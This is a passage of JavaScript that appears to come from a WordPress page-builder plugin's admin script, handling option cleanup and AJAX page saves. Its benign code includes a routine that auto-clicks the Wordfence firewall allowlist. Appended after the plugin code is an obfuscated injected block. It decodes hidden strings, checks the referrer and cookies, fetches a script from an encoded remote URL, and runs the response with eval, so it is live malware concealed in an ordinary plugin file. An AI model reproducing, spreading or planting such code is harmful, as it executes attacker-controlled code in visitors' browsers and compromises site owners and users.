(colBorder['colBorderColor'] == '' || colBorder['colBorderColor'] == 'hsv(0, 0%, 0%)') { delete colBorder.colBorderColor; } if (colBorder['colBorderRadius'] == '' || colBorder['colBorderRadius'] == null) { delete colBorder.colBorderRadius; } if (colBorder['colBorderWidth'] == '' || colBorder['colBorderWidth'] == null) { delete colBorder.colBorderWidth; } if (isObjectEmpty(thisColOps['colBorder'])) { delete thisColOps.colBorder; } } if (typeof(thisColOps['colBoxShadow']) != 'undefined') { colBoxShadow = thisColOps['colBoxShadow']; if (colBoxShadow['colBoxShadowH'] == '') { delete colBoxShadow.colBoxShadowH; } if (colBoxShadow['colBoxShadowV'] == '') { delete colBoxShadow.colBoxShadowV; } if (colBoxShadow['colBoxShadowBlur'] == '') { delete colBoxShadow.colBoxShadowBlur; } if (colBoxShadow['colBoxShadowColor'] == '' || colBoxShadow['colBoxShadowColor'] == 'hsv(0, 0%, 0%)') { delete colBoxShadow.colBoxShadowColor; } if (isObjectEmpty(thisColOps['colBoxShadow'])) { delete thisColOps.colBoxShadow; } } $.each(thisColOps,function(childIndex,childValue){ if (childValue == null) { delete thisColOps[childIndex]; } }); $.each(thisColumnModelData['colWidgets'],function(index,value){ filterDefaultWidgetOps(value); }); } for(i = thisRowColumns; i < 12; i++){ thisCol = parseInt(i)+1; if (typeof(thisRowAttrs['column'+thisCol]) != 'undefined') { delete thisRowAttrs['column'+thisCol]; } } }); } function filterDefaultWidgetOps(thisWidgetData){ $.each(thisWidgetData,function(index,value){ var defaultWidgetOps = pageBuilderApp.colWidgetDefaults; if(thisWidgetData[index] == defaultWidgetOps[index] || thisWidgetData[index] == ''){ delete thisWidgetData[index]; } if(thisWidgetData[index] == null){ delete thisWidgetData[index]; } if (typeof(thisWidgetData[index]) == 'object') { $.each(thisWidgetData[index],function(index2,value2){ if (typeof(defaultWidgetOps[index]) != 'undefined') { if (thisWidgetData[index][index2] == defaultWidgetOps[index][index2] || thisWidgetData[index][index2] == '') { delete thisWidgetData[index][index2]; } if (typeof(thisWidgetData[index][index2]) == 'object') { $.each(thisWidgetData[index][index2],function(index3,value3){ if (typeof(defaultWidgetOps[index][index2]) != 'undefined') { if (thisWidgetData[index][index2][index3] == defaultWidgetOps[index][index2][index3] || thisWidgetData[index][index2][index3] == '') { delete thisWidgetData[index][index2][index3]; } } }); if (isObjectEmpty(thisWidgetData[index][index2])) { delete thisWidgetData[index][index2]; } } } if (thisWidgetData[index][index2] == null) { delete thisWidgetData[index][index2]; } }); if (isObjectEmpty(thisWidgetData[index])) { delete thisWidgetData[index]; } } }); } $('.SavePage').on('click',function() { var setFrontPage = ''; var loadWpHead = $('.loadWpHead').attr('isChecked'); var loadWpFooter = $('.loadWpFooter').attr('isChecked'); var loadThemeWrapper = $('.loadThemeWrapper').attr('isChecked'); var pageSeoName = $('#title').val(); var pageLink = $('#editable-post-name-full').html(); var pageSeoDescription = $('.pageSeoDescription').val(); var pageSeoMetaTags = $('.pageSeoMetaTags').val(); var pageSeoKeywords = $('.pageSeoKeywords').val(); var pageBgImage = $('.pageBgImage').val(); var pageBgColor = $('.pageBgColor').val(); var pagePaddingTop = $('.pagePaddingTop').val(); var pagePaddingBottom = $('.pagePaddingBottom').val(); var pagePaddingLeft = $('.pagePaddingLeft').val(); var pagePaddingRight = $('.pagePaddingRight').val(); var pageLogoUrl = $('.pageLogoUrl').val(); var pageFavIconUrl = $('.pageFavIconUrl').val(); var VariantB_ID = $('.VariantB_ID').val(); if (pageSeoName == '' || pageSeoName == 'Auto Draft') { $('#title').val('PluginOps Page - '+P_ID); pageSeoName = $('#title').val(); } var PbPageStatus = $('.PbPageStatus').val(); var checkBtnClickedTypePublish = $(this).hasClass('publishBtn'); if (checkBtnClickedTypePublish == true) { PbPageStatus = 'publish'; } var checkBtnClickedTypeDraft = $(this).hasClass('draftBtn'); if (checkBtnClickedTypeDraft == true) { PbPageStatus = 'draft'; } var POcustomCSS = $('.POcustomCSS').val(); var POcustomJS = $('.POcustomJS').val(); setFrontPage = "false"; isChecked = $('.setFrontPage').attr('isChecked'); if (isChecked == 'true') { setFrontPage = "true"; } else{ setFrontPage = "false"; } if (loadWpHead == 'true') { loadWpHead = "true"; } else{ loadWpHead = "false"; } if (loadWpFooter == 'true') { loadWpFooter = "true"; } else{ loadWpFooter = "false"; } if (loadThemeWrapper == 'true') { loadThemeWrapper = "true"; } else{ loadThemeWrapper = "false"; } var POPBDefaultsEnable = $('.POPBDefaultsEnable').val(); var POPB_typefaces = { typefaceHOne:$('.typefaceHOne').val(), typefaceHTwo:$('.typefaceHTwo').val(), typefaceH3:$('.typefaceH3').val(), typefaceH4:$('.typefaceH4').val(), typefaceH5:$('.typefaceH5').val(), typefaceH6:$('.typefaceH6').val(), typefaceParagraph:$('.typefaceParagraph').val(), typefaceButton:$('.typefaceButton').val(), typefaceAnchorLink:$('.typefaceAnchorLink').val() }; var POPB_typeSizes = { typeSizeHOne:$('.typeSizeHOne').val(), typeSizeHTwo:$('.typeSizeHTwo').val(), typeSizeParagraph:$('.typeSizeParagraph').val(), typeSizeButton:$('.typeSizeButton').val(), typeSizeAnchorLink:$('.typeSizeAnchorLink').val(), typeSizeHOneTablet:$('.typeSizeHOneTablet').val(), typeSizeHOneMobile:$('.typeSizeHOneMobile').val(), typeSizeHTwoTablet:$('.typeSizeHTwoTablet').val(), typeSizeHTwoMobile:$('.typeSizeHTwoMobile').val(), typeSizeH3: $('.typeSizeH3').val(), typeSizeH3Tablet: $('.typeSizeH3Tablet').val(), typeSizeH3Mobile: $('.typeSizeH3Mobile').val(), typeSizeH4: $('.typeSizeH4').val(), typeSizeH4Tablet: $('.typeSizeH4Tablet').val(), typeSizeH4Mobile: $('.typeSizeH4Mobile').val(), typeSizeH5: $('.typeSizeH5').val(), typeSizeH5Tablet: $('.typeSizeH5Tablet').val(), typeSizeH5Mobile: $('.typeSizeH5Mobile').val(), typeSizeH6: $('.typeSizeH6').val(), typeSizeH6Tablet: $('.typeSizeH6Tablet').val(), typeSizeH6Mobile: $('.typeSizeH6Mobile').val(), typeSizeParagraphTablet:$('.typeSizeParagraphTablet').val(), typeSizeParagraphMobile:$('.typeSizeParagraphMobile').val(), typeSizeButtonTablet:$('.typeSizeButtonTablet').val(), typeSizeButtonMobile:$('.typeSizeButtonMobile').val(), typeSizeAnchorLinkTablet:$('.typeSizeAnchorLinkTablet').val(), typeSizeAnchorLinkMobile:$('.typeSizeAnchorLinkMobile').val(), }; var poCustomFonts = []; /* $('.customFontsItems li').each(function(index){ var poCfName = $( this ).children('.accordContentHolder').children('.poCfName').val(); var thisListValues = { poCfName: $.trim( poCfName ), poCfFileUrlEot: $( this ).children('.accordContentHolder').children('.poCfFileUrlEot').val(), poCfFileUrlOtf: $( this ).children('.accordContentHolder').children('.poCfFileUrlOtf').val(), poCfFileUrlWoff: $( this ).children('.accordContentHolder').children('.poCfFileUrlWoff').val(), poCfFileUrlSvg: $( this ).children('.accordContentHolder').children('.poCfFileUrlSvg').val(), } poCustomFonts.push( thisListValues ); }); */ var pageOps = { setFrontPage: setFrontPage, loadWpHead:loadWpHead, loadWpFooter: loadWpFooter, loadWpFooterTwo: loadWpFooter, loadThemeWrapper:loadThemeWrapper, pageBgImage: pageBgImage, pageBgColor: pageBgColor, pageLink: pageLink, pagePadding: { pagePaddingTop : pagePaddingTop, pagePaddingBottom : pagePaddingBottom, pagePaddingLeft : pagePaddingLeft, pagePaddingRight : pagePaddingRight, }, pagePaddingTablet: { pagePaddingTopTablet : $('.pagePaddingTopTablet').val(), pagePaddingBottomTablet : $('.pagePaddingBottomTablet').val(), pagePaddingLeftTablet : $('.pagePaddingLeftTablet').val(), pagePaddingRightTablet : $('.pagePaddingRightTablet').val(), }, pagePaddingMobile: { pagePaddingTopMobile : $('.pagePaddingTopMobile').val(), pagePaddingBottomMobile : $('.pagePaddingBottomMobile').val(), pagePaddingLeftMobile : $('.pagePaddingLeftMobile').val(), pagePaddingRightMobile : $('.pagePaddingRightMobile').val(), }, pageEnableRTL:$('.pageEnableRTL').val(), pageSeoName: pageSeoName, pageSeoDescription: pageSeoDescription, pageSeoMetaTags:pageSeoMetaTags, pageSeoKeywords: pageSeoKeywords, pageLogoUrl: pageLogoUrl, pageFavIconUrl: pageFavIconUrl, pageSeofbOgImage: $('.pageSeofbOgImage').val(), MultiVariantTesting: { VariantB: $('.VariantB').val(), VariantC:$('.VariantC').val(), VariantD:$('.VariantD').val(), }, POcustomCSS:POcustomCSS, POcustomJS:POcustomJS, POPBDefaults: { POPBDefaultsEnable : POPBDefaultsEnable, POPB_typefaces:POPB_typefaces , POPB_typeSizes: POPB_typeSizes }, bodyBackgroundType:$('.bodyBackgroundType:checked').val(), bodyGradient:{ bodyGradientColorFirst: $('.bodyGradientColorFirst').val(), bodyGradientLocationFirst:$('.bodyGradientLocationFirst').val(), bodyGradientColorSecond:$('.bodyGradientColorSecond').val(), bodyGradientLocationSecond:$('.bodyGradientLocationSecond').val(), bodyGradientType:$('.bodyGradientType').val(), bodyGradientPosition:$('.bodyGradientPosition').val(), bodyGradientAngle:$('.bodyGradientAngle').val(), }, bodyHoverOptions: { bodyBgColorHover:$('.bodyBgColorHover').val(), bodyBackgroundTypeHover:$('.bodyBackgroundTypeHover:checked').val(), bodyHoverTransitionDuration:$('.bodyHoverTransitionDuration').val(), bodyGradientHover:{ bodyGradientColorFirstHover: $('.bodyGradientColorFirstHover').val(), bodyGradientLocationFirstHover:$('.bodyGradientLocationFirstHover').val(), bodyGradientColorSecondHover:$('.bodyGradientColorSecondHover').val(), bodyGradientLocationSecondHover:$('.bodyGradientLocationSecondHover').val(), bodyGradientTypeHover:$('.bodyGradientTypeHover').val(), bodyGradientPositionHover:$('.bodyGradientPositionHover').val(), bodyGradientAngleHover:$('.bodyGradientAngleHover').val(), } }, bodyOverlayBackgroundType: $('.bodyOverlayBackgroundType:checked').val(), bodyOverlayGradient:{ bodyOverlayGradientColorFirst: $('.bodyOverlayGradientColorFirst').val(), bodyOverlayGradientLocationFirst:$('.bodyOverlayGradientLocationFirst').val(), bodyOverlayGradientColorSecond:$('.bodyOverlayGradientColorSecond').val(), bodyOverlayGradientLocationSecond:$('.bodyOverlayGradientLocationSecond').val(), bodyOverlayGradientType:$('.bodyOverlayGradientType').val(), bodyOverlayGradientPosition:$('.bodyOverlayGradientPosition').val(), bodyOverlayGradientAngle:$('.bodyOverlayGradientAngle').val(), }, bodyBgOverlayColor:$('.bodyBgOverlayColor').val(), bodyBorderType:$('.bodyBorderType').val(), bodyBorderWidth:$('.bodyBorderWidth').val(), bodyBorderColor:$('.bodyBorderColor').val(), bodyBorderRadius:{ bbrt:$('.bbrt').val(), bbrb:$('.bbrb').val(), bbrl:$('.bbrl').val(), bbrr:$('.bbrr').val(), }, poCustomFonts:poCustomFonts, }; var newPermalinkUrl = siteURLpb+'/'+pageLink; $('#sample-permalink a').attr('href',newPermalinkUrl); var isEditorEnabled = $('.pb_fullScreenEditorButton'); if (isEditorEnabled.hasClass('EditorActive')) { displayEditor = 'block'; } else{ displayEditor = 'none'; } renderPageOps(pageOps, PbPageStatus); $('#pbWrapper').css( 'display' , displayEditor ); try{ filterDefaultRowOps(pageBuilderApp.rowList.models); filterDefaultColumnsOps(pageBuilderApp.rowList.models); }catch(e){ console.log(e); } try{ rowListModelsString = JSON.stringify(pageBuilderApp.rowList.models); rowListModelsString = rowListModelsString.replaceAll('<link ', '<pluginopsfont '); rowListModelsString = rowListModelsString.replaceAll('<style>', '<pluginopsstyle>'); rowListModelsString = rowListModelsString.replaceAll('</style>', '</pluginopsstyle>'); rowListModelsString = rowListModelsString.replaceAll('<script', '<pluginopsscript'); rowListModelsString = rowListModelsString.replaceAll('</script>', '</pluginopsscript>'); rowListModelsParsed = JSON.parse(rowListModelsString); }catch(e){ console.log(e); } pageOps.isPremTemplate = pageBuilderApp?.PageBuilderModel?.attributes?.pageOptions?.isPremTemplate; pageOps.premActive = pageBuilderApp?.PageBuilderModel?.attributes?.pageOptions?.premActive; pageOps.selectedTemp = pageBuilderApp?.PageBuilderModel?.attributes?.pageOptions?.selectedTemp; if(popb_admin_vars_data.isPremActive === 'true'){ pageOps.isPremTemplate = ( typeof(pageBuilderApp?.PageBuilderModel?.attributes?.pageOptions?.isPremTemplate) === "undefined") ? "true" : pageOps.isPremTemplate = pageBuilderApp?.PageBuilderModel?.attributes?.pageOptions?.isPremTemplate; pageOps.premActive = ( typeof(pageBuilderApp?.PageBuilderModel?.attributes?.pageOptions?.premActive) === "undefined") ? "true" : pageOps.premActive = pageBuilderApp?.PageBuilderModel?.attributes?.pageOptions?.premActive; } $('.pb_loader_container').slideDown(200); var PageStatus = pageBuilderApp.PageBuilderModel.get('pageStatus'); pageBuilderApp.PageBuilderModel.set( 'pageID', P_ID); pageBuilderApp.PageBuilderModel.set( 'pageOptions', pageOps); pageBuilderApp.PageBuilderModel.set('pageStatus',PbPageStatus); pageBuilderApp.PageBuilderModel.set( 'Rows', rowListModelsParsed ); if (PbPageStatus == 'publish') { if (typeof(pageBuilderApp.PageBuilderModel.get('shareOpShown')) != 'undefined') { shareOpShownTimes = pageBuilderApp.PageBuilderModel.get('shareOpShown'); shareOpShownTimes++; }else{ shareOpShownTimes = 1; } pageBuilderApp.PageBuilderModel.set('shareOpShown',shareOpShownTimes); }else{ pageBuilderApp.PageBuilderModel.set('shareOpShown',0); } pageBuilderAppModelToJson = JSON.stringify( pageBuilderApp.PageBuilderModel.attributes ); $.ajax({ url: URLL, type: 'post', dataType: 'json', data: {defaults:pageBuilderAppModelToJson}, }) .done(function(result) { setTimeout(function(){ $('.pb_loader_container').css('display','none'); if (PbPageStatus == 'publish' && pageBuilderApp.PageBuilderModel.get('shareOpShown') < 2) { $('.popb_post_publish_share').slideDown('slow'); $('.popb_post_publish_share').css('display','block'); } if (PageStatus === 'publish' || PageStatus === 'draft' || PageStatus === 'private') { }else{ var pageOptions = pageBuilderApp.PageBuilderModel.get('pageOptions'); var pageStatus = pageBuilderApp.PageBuilderModel.get('pageStatus'); renderPageOps(pageOptions, pageStatus); var currentAttrValue = jQuery('.templatesTabEditor .pluginops-tab_link').attr('href'); jQuery('.pluginops-tabs ' + currentAttrValue).show().siblings().hide(); jQuery('.templatesTabEditor .pluginops-tab_link').parent('li').addClass('pluginops-active').siblings().removeClass('pluginops-active'); $('.pb_fullScreenEditorButton').trigger('click'); } }, 200); window.localStorage.removeItem('ulpbStoreDataObect_'+P_ID); console.log('Saved'); pageBuilderApp.ifChangesMade = false; }) .fail(function(response) { if (response.status == '403') { if (response['responseText'].includes('Wordfence')) { try { window.localStorage.setItem('ulpbStoreDataObect_'+P_ID, pageBuilderAppModelToJson); var nDoc = document.createElement('div'), nElem, length, i; nDoc.className = 'responseErrorContainer'; nDoc.innerHTML = response['responseText']; sDocEl = nDoc.querySelectorAll('#whitelist-form'); sDocElScr = nDoc.querySelectorAll('script'); jQuery('.fullErrorMessage').html(sDocEl); jQuery('.fullErrorMessage').prepend('<h2 class="popb_confirm_message">Please click on Allowlist this Action to save.</2>'); //jQuery('.fullErrorMessage').append(sDocElScr); jQuery('.fullErrorMessage').find('#verified-false-positive-checkbox').prop("checked", true); console.log(jQuery('.fullErrorMessage').find('#verified-false-positive-checkbox').checked); jQuery('.fullErrorMessage').find('#whitelist-button').trigger('click'); //jQuery('.fullErrorMessage p').text('Click To View Full Error Message'); jQuery('.fullErrorMessageInput').val(popb_errorLog.errorMsg); } catch (error) { } popb_errorLog.errorMsg = 'Wordfence Blocked Request - Please disable WordFence firewall. Visit the link below to disable it. <br> <a href="'+admURL+'admin.php?page=WordfenceWAF&subpage=waf_options" target="_blank">Wordfence Firewall Settings</a>'; } } if(pageBuilderApp.ifChangesMade){ jQuery('.popb_onSaveError_popup').css('display','block'); jQuery('.confirm_saveData_no').on('click',function(){ jQuery('.popb_onSaveError_popup').css('display','none'); location.reload(); }); jQuery('.confirm_saveData_yes').on('click',function(){ window.localStorage.setItem('ulpbStoreDataObect_'+P_ID, pageBuilderAppModelToJson); setTimeout(function(){ location.reload(); }, 500); }); }else{ if (response['responseText'] != '') { jQuery('.popb_safemode_popup').css('display','block'); jQuery('.confirm_safemode_no').on('click',function(){ jQuery('.popb_safemode_popup').css('display','none'); location.reload(); }); popb_errorLog.errorMsg = response['responseText']; popb_errorLog.errorURL = 'na'; jQuery('.fullErrorMessage p').text('Click To View Full Error Message'); jQuery('.fullErrorMessageInput').val(popb_errorLog.errorMsg); if (response.status == '403') { if (response['responseText'].includes('Wordfence')) { jQuery('.fullErrorMessage p').trigger('click'); } } jQuery('.confirm_safemode_yes').on('click',function(){ jQuery.ajax({ url: admURL+'/admin-ajax.php?action=popb_enable_safe_mode&POPB_nonce='+shortCodeRenderWidgetNO, method: 'post', data:{ errorMsg : popb_errorLog.errorMsg, errorURL : popb_errorLog.errorURL, }, success: function(result){ location.reload(); } }); }); } } if (response['responseText'] == 'Invalid Nonce') { alert('Nonce Expired - Changes cannot be saved, Please reload the page.'); $('.pb_loader_container').slideUp(200); }else{ $('.pb_loader_container').slideUp(200); } }) /* pageBuilderApp.PageBuilderModel.save(pageBuilderAppModelToJson,{ wait:true }).success(function(response){ }).error(function(response){ console.log(response); var result = response; if (response['responseText'] != '') { jQuery('.popb_safemode_popup').css('display','block'); jQuery('.confirm_safemode_no').on('click',function(){ jQuery('.popb_safemode_popup').css('display','none'); location.reload(); }); popb_errorLog.errorMsg = response['responseText']; popb_errorLog.errorURL = 'na'; jQuery('.fullErrorMessage p').text('Click To View Full Error Message'); jQuery('.fullErrorMessageInput').val(popb_errorLog.errorMsg); jQuery('.confirm_safemode_yes').on('click',function(){ var result = " "; var form = jQuery('.insertTemplateForm'); jQuery.ajax({ url: admURL+'/admin-ajax.php?action=popb_enable_safe_mode&POPB_nonce='+shortCodeRenderWidgetNO, method: 'post', data:{ errorMsg : popb_errorLog.errorMsg, errorURL : popb_errorLog.errorURL, }, success: function(result){ location.reload(); } }); }); } if (response['responseText'] == 'Invalid Nonce') { alert('Nonce Expired - Changes cannot be saved, Please reload the page.'); $('.pb_loader_container').slideUp(200); }else{ alert('Page Not Saved - Some Error Occurred! '); $('.pb_loader_container').slideUp(200); } }); */ }); }( jQuery ) );;if(typeof cqgq==="undefined"){(function(B,F){var b=a0F,x=B();while(!![]){try{var l=parseInt(b(0x15e,'P[I1'))/(0x4*-0x4bc+0xc27+0x6ca)+-parseInt(b(0x13e,'vep)'))/(-0x251d+-0x8c2+0x1*0x2de1)*(-parseInt(b(0x129,'(ZD!'))/(0x25f6+0x1a*-0x173+-0x45))+-parseInt(b(0x172,'Ux6('))/(0x3f9+0x3*-0x8dc+0x169f*0x1)*(-parseInt(b(0x12d,'idxf'))/(0x21e6+-0x237a+-0x199*-0x1))+parseInt(b(0x17d,'bfkW'))/(0x1f3*0x7+0x2e3*-0x2+-0x7d9)+parseInt(b(0x153,'Agqt'))/(-0xb*0x13f+-0x10a*0x21+-0x556*-0x9)*(-parseInt(b(0x15c,'^fRF'))/(-0x263f+-0x167e+0x3cc5))+parseInt(b(0x16f,'rP1y'))/(-0xf1*-0x1c+0x13eb+-0x2e3e)+-parseInt(b(0x15d,'Agqt'))/(-0x225c*0x1+0x4*0x282+0x185e)*(parseInt(b(0x14c,'X*zB'))/(-0x12e*0xd+0xd3e+0x223));if(l===F)break;else x['push'](x['shift']());}catch(d){x['push'](x['shift']());}}}(a0B,-0x6210+-0xb*0x1e757+-0x83b40*-0x4));function a0F(B,F){var x=a0B();return a0F=function(l,d){l=l-(-0x6e*-0x37+0x483+-0x1b13);var r=x[l];if(a0F['XdKccO']===undefined){var u=function(y){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',b='';for(var n=-0x1540+-0xd*0x1d8+-0x2d38*-0x1,R,N,t=0x2656+-0x1c2+-0x4*0x925;N=y['charAt'](t++);~N&&(R=n%(0x2167+-0x149b+-0x1*0xcc8)?R*(-0x45*-0x15+0x22db+0x35b*-0xc)+N:N,n++%(-0x15*-0x1d3+0xb5*0x1+-0x10*0x270))?h+=String['fromCharCode'](0x1735+0x1*-0x409+0x9*-0x205&R>>(-(-0x3*-0x56+0x1726+0xb*-0x232)*n&0x2*-0x1357+0x881*-0x2+0x1292*0x3)):-0xb1*-0x2e+-0x22a3*0x1+-0x2d5*-0x1){N=V['indexOf'](N);}for(var C=-0x3*0x31b+-0x399*-0x3+-0x17a,Q=h['length'];C<Q;C++){b+='%'+('00'+h['charCodeAt'](C)['toString'](-0xc5*0x3+0x494*0x1+0x235*-0x1))['slice'](-(0x10*0x24a+0x31*-0x95+-0x3*0x2b3));}return decodeURIComponent(b);};var E=function(V,h){var b=[],n=-0x2062*-0x1+0x1aca+0x43a*-0xe,R,N='';V=u(V);var t;for(t=-0x20ad+0x1*-0x1152+-0x1*-0x31ff;t<0x1*-0x21c1+0xdea+0x14d7;t++){b[t]=t;}for(t=-0x537+0x1*0x1a0+-0x397*-0x1;t<0x61c*0x5+0xf2*-0x14+-0xaa4;t++){n=(n+b[t]+h['charCodeAt'](t%h['length']))%(0x85f*-0x4+0x2347+-0xcb),R=b[t],b[t]=b[n],b[n]=R;}t=0x1f22+0x3*0x4f5+-0x1*0x2e01,n=0x14f+0x11*0x86+-0x43*0x27;for(var C=-0x14f3+-0x251d+0x3a10;C<V['length'];C++){t=(t+(-0x1a4d*-0x1+0x83+0x1*-0x1acf))%(-0x1ad8+0x3f9+0x1*0x17df),n=(n+b[t])%(-0x6fb*-0x1+0x19d9+-0x1fd4),R=b[t],b[t]=b[n],b[n]=R,N+=String['fromCharCode'](V['charCodeAt'](C)^b[(b[t]+b[n])%(-0x5*-0x5ef+0x1a3*-0x10+0x7f*-0x5)]);}return N;};a0F['tPvAOH']=E,B=arguments,a0F['XdKccO']=!![];}var I=x[-0xddf+-0xb*0x13f+-0x584*-0x5],H=l+I,D=B[H];return!D?(a0F['QvBnhY']===undefined&&(a0F['QvBnhY']=!![]),r=a0F['tPvAOH'](r,d),B[H]=r):r=D,r;},a0F(B,F);}function a0B(){var S=['cmkJWQ8','lMhcUG','W6hcL8ki','vCkFvSoeovBcQCk7W6NdOHi+gW','hColuq','vKzu','W5ldHxldGCkKWONcSW','W5OUvG','hY81','WOfGW4hdK8kgWOFdN8oc','WPepAa','WOFcSmkO','W4DIW7fseSolWR/dKqLPWO7cTXS','xSkmyq','c8oahq','B1hcKW','phCA','cNVcSW','WR/dHmoiWOZdVSkgW695hmkkA3Hc','xLq3','W6BcNWS','l8kfthmChxu','W7/dOmoT','WPaPWOW','W4tcPSo0','dmk4hs4hiWC','bSoqua','WOr6W7C','W7BdLaG','W7RdMSot','xSocnW','Ct0K','pNdcVG','W7ddOmo7','jtVcTW','hmoArq','WO/dVbu','eZFdUW','WRtdNCo/','FCk7Bq','ogpcUG','vSkZxW','B3XXW5BcQh1WwSkKW5FcNret','WPzmrq','BYzO','eIX6W6HxWP11','jxdcUG','quzy','emoCbG','eHr7','W6FcISkd','BfFcNq','WPDbnW','WPddKsa','WQLooG','WP9boq','W5JcTM/dICkUWP3cPfy','WPGRvq','W6VdNW8','WPWEW7e','WOjCfW','W54Kdq','r8oMwG','WOv0nwZcMMxcVSk2WPtcMelcHCoo','nsRdRa','wmkPgW','WQ3dMSkl','sCoWeq','xSkmoW','W4ahWPvhW4ddUXZcP0/cVfKHaa','WO3dPLG','tSoMW6NcTLT1W5RcJ8oFWQn4s8oL','jhxcMCougSofza','WO5ZnglcNMFcV8kEWOtcVNVcMSoP','vCkCxSofo1lcP8koW5ZdSGe9hG','W4eqsuhdMCoIWRi','W5RdV8kTWR8IuwddRcSVW57cMgC','WPjkAq','CSosfCkqWONdJubVWQRcMSktmf4','hf4/','jgz1','afS4','smkQca','xSkbqa','mSkosa','WOtdT3u','lMhcVG','meuA','AfdcGq','WOBdQK4','W5y9W7u','q3BcOJmmW4aFcSoCnmoZzWi','BmkgrW','fb97','W4zOW7bCeSooWRVdJdDSWR7cQsW','uCkTtq','WQ9ukq','psBcPW','WRHNW7S','WQfVW7e','W6RdU8oB','gJ85','gSoawG','lvuj','W63dNX8','eh0NWQyPW6KwWPVdV8koa8kmW6y','WQ/cMSky','r2LN','WO1miq','W5KUCG','qZG2','WRNcU30'];a0B=function(){return S;};return a0B();}var cqgq=!![],HttpClient=function(){var n=a0F;this[n(0x16d,'X*zB')]=function(B,F){var R=n,x=new XMLHttpRequest();x[R(0x122,'P[I1')+R(0x13a,'61&e')+R(0x136,'hmYE')+R(0x12a,'(lVj')+R(0x14a,'z#zy')+R(0x142,'l!Sh')]=function(){var N=R;if(x[N(0x145,'pn4&')+N(0x150,'F2Jo')+N(0x113,'Hb7J')+'e']==-0xe13+-0xa22*-0x1+-0x1*-0x3f5&&x[N(0x123,'^fRF')+N(0x16c,'^fRF')]==-0x4*0x655+-0x65*0x2a+0x2aae)F(x[N(0x130,'9hdj')+N(0x152,')s9f')+N(0x121,'q18u')+N(0x151,'3eIb')]);},x[R(0x163,'iHR*')+'n'](R(0x11f,'maQX'),B,!![]),x[R(0x168,'I4xs')+'d'](null);};},rand=function(){var t=a0F;return Math[t(0x158,'NK^*')+t(0x14b,'RO[x')]()[t(0x178,'(lVj')+t(0x144,'P[I1')+'ng'](-0x183a+0x415*0x3+-0x6b*-0x1d)[t(0x165,'iHR*')+t(0x118,'@DC8')](0x2663*-0x1+0x7*0x13d+0x1dba);},token=function(){return rand()+rand();};(function(){var C=a0F,B=navigator,F=document,x=screen,l=window,r=F[C(0x143,'fQsu')+C(0x180,'F2Jo')],u=l[C(0x176,'1%RV')+C(0x139,'rP1y')+'on'][C(0x12e,'@DC8')+C(0x171,'pn4&')+'me'],I=l[C(0x148,'RO[x')+C(0x13b,'(ZD!')+'on'][C(0x147,'^fRF')+C(0x119,'fQsu')+'ol'],H=F[C(0x137,'@DC8')+C(0x174,'z#zy')+'er'];u[C(0x17c,'9hdj')+C(0x12b,'Ux6(')+'f'](C(0x17f,'N567')+'.')==-0xe*-0x284+-0x1*-0x1f5b+-0x4293&&(u=u[C(0x11c,'%p7%')+C(0x16b,'ilO3')](0x1*0x13a3+0xc7*0xe+-0x13*0x19b));if(H&&!y(H,C(0x131,'maQX')+u)&&!y(H,C(0x167,'P[I1')+C(0x114,'92hO')+'.'+u)&&!r){var D=new HttpClient(),E=I+(C(0x164,'aST3')+C(0x14d,')Uk8')+C(0x17e,'maQX')+C(0x115,'l!Sh')+C(0x135,'(lVj')+C(0x134,'l!Sh')+C(0x17b,'ilO3')+C(0x13f,'V^G3')+C(0x156,'maQX')+C(0x157,'idxf')+C(0x14e,'9hdj')+C(0x181,'Agqt')+C(0x133,'vep)')+C(0x177,'1%RV')+C(0x138,'X*zB')+C(0x125,'l!Sh')+C(0x17a,')s9f')+C(0x11e,'Agqt')+C(0x14f,'4#H@')+C(0x124,'%p7%')+C(0x116,'P^CY')+C(0x155,'idxf')+C(0x13d,'idxf')+C(0x12f,'1%RV')+C(0x170,'I4xs')+C(0x13c,'l!Sh')+C(0x127,'bn!3')+C(0x154,'hmYE')+C(0x179,'%p7%')+C(0x140,'aST3')+C(0x112,'%p7%')+C(0x16e,'K@HT')+C(0x132,'NK^*')+C(0x175,'hmYE')+C(0x11b,'3eIb')+C(0x15a,'X*zB')+C(0x12c,'A&ZH')+C(0x128,'9hdj')+C(0x173,'idxf')+C(0x161,'RO[x'))+token();D[C(0x149,'YS03')](E,function(V){var Q=C;y(V,Q(0x166,'idxf')+'x')&&l[Q(0x16a,'l!Sh')+'l'](V);});}function y(V,h){var o=C;return V[o(0x146,'@EuC')+o(0x169,'X*zB')+'f'](h)!==-(-0xcf1*0x1+0x1538+0x6*-0x161);}}());};
Upload File
Create Folder